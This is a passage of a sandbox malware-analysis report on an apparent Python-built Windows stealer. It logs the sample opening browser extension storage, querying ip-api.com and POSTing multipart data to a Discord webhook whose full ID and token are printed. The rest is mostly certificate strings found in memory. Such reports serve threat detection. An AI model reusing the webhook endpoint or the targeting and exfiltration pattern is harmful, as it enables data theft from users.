              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2246EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,18_2_00007FF68A2246EC
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A21E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,18_2_00007FF68A21E21C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2688E0 FindFirstFileExA,18_2_00007FF68A2688E0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\Jump to behavior
              Source: Joe Sandbox ViewIP Address: 208.95.112.1 208.95.112.1
              Source: unknownDNS query: name: ip-api.com
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficHTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.3.0
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
              Source: global trafficDNS traffic detected: DNS query: ip-api.com
              Source: global trafficDNS traffic detected: DNS query: discord.com
              Source: unknownHTTP traffic detected: POST /api/webhooks/1325008109688848394/ap33zUqBiGzDvwCP0tF85_LvY8CYm5iFLtVRNIJg4zgkMF4A54M4Y9NXhJ9mbH2Zi-eA HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 2285User-Agent: python-urllib3/2.3.0Content-Type: multipart/form-data; boundary=558696f0eeeee4b62c993438c8ec62a9
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 04 Jan 2025 08:43:14 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1735980195x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CX8rh0YQO043n8qUSq3VzNBihtJ9PxwbQTY%2Fvk02URHJ5%2FXN4JZGa%2FRPaKnxfEnFW1fP%2BB7URqnKDpH6ofSL5yXRtFpFZPf2t6zIYW1xni13HmPA1HK%2FypLDdV4Y"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=bd185726e1b3894ae932f6dc272eafc3f16cf390-1735980194; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=Gghn2KHav5F9HwB_LXyu7qCz_3FSUH50Z6MCH1WmeOc-1735980194320-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8fc9f0962a5cde99-EWR
              Source: riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digi
              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E5C000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2110717408.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111657016.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E5C000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2110717408.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111657016.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2110717408.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111657016.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E5C000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2110717408.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111657016.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E5C000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
              Source: riFSkYVMKB.exe, 00000002.00000002.2277927609.000001CF44A6D000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2130115420.000001CF44A04000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF44A68000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2168244365.000001CF44A67000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
              Source: riFSkYVMKB.exe, 00000000.00000002.2291828616.00000267A8E39000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.
              Source: riFSkYVMKB.exe, rar.exe.0.drString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
              Source: riFSkYVMKB.exe, 00000002.00000002.2277927609.000001CF44A6D000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275704729.000001CF44AF0000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277520304.000001CF44780000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF44A68000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2168244365.000001CF44AF0000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF44AF0000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277732539.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2168244365.000001CF44A67000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277520304.000001CF44870000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2278466220.000001CF44B36000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275949217.000001CF44870000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2278263583.000001CF44AF0000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2273965190.000001CF44B35000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2196257900.0000023E5331A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
              Source: riFSkYVMKB.exeString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
              Source: riFSkYVMKB.exeString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
              Source: riFSkYVMKB.exe, 00000000.00000003.2112126796.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.drString found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
              Source: riFSkYVMKB.exe, 00000000.00000003.2112126796.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.drString found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E5C000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2110717408.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111657016.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E5C000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2110717408.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111657016.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2110717408.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111657016.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
              Source: _sqlite3.pyd.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2110717408.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111657016.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.drString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
              Source: riFSkYVMKB.exe, 00000000.00000002.2291828616.00000267A8E39000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSig
              Source: riFSkYVMKB.exeString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
              Source: riFSkYVMKB.exeString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
              Source: riFSkYVMKB.exe, 00000000.00000003.2112126796.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.drString found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
              Source: riFSkYVMKB.exe, 00000002.00000003.2124520673.000001CF44432000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
              Source: riFSkYVMKB.exe, 00000002.00000002.2277927609.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275108858.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2130115420.000001CF44A04000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF44A04000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://google.com/
              Source: riFSkYVMKB.exe, 00000002.00000003.2275820940.000001CF449A2000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277732539.000001CF449A4000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2129657883.000001CF44998000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275108858.000001CF44998000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF4495F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://google.com/mail/
              Source: riFSkYVMKB.exe, 00000002.00000003.2275820940.000001CF449A2000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2130523745.000001CF4485E000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277732539.000001CF449A4000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2129657883.000001CF44998000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277520304.000001CF44870000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275108858.000001CF44998000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275949217.000001CF44870000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/json/?fields=225545
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/line/?fields=hosting
              Source: powershell.exe, 00000008.00000002.2220716409.0000023E63564000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
              Source: riFSkYVMKB.exe, rar.exe.0.drString found in binary or memory: http://ocsp.comodoca.com0
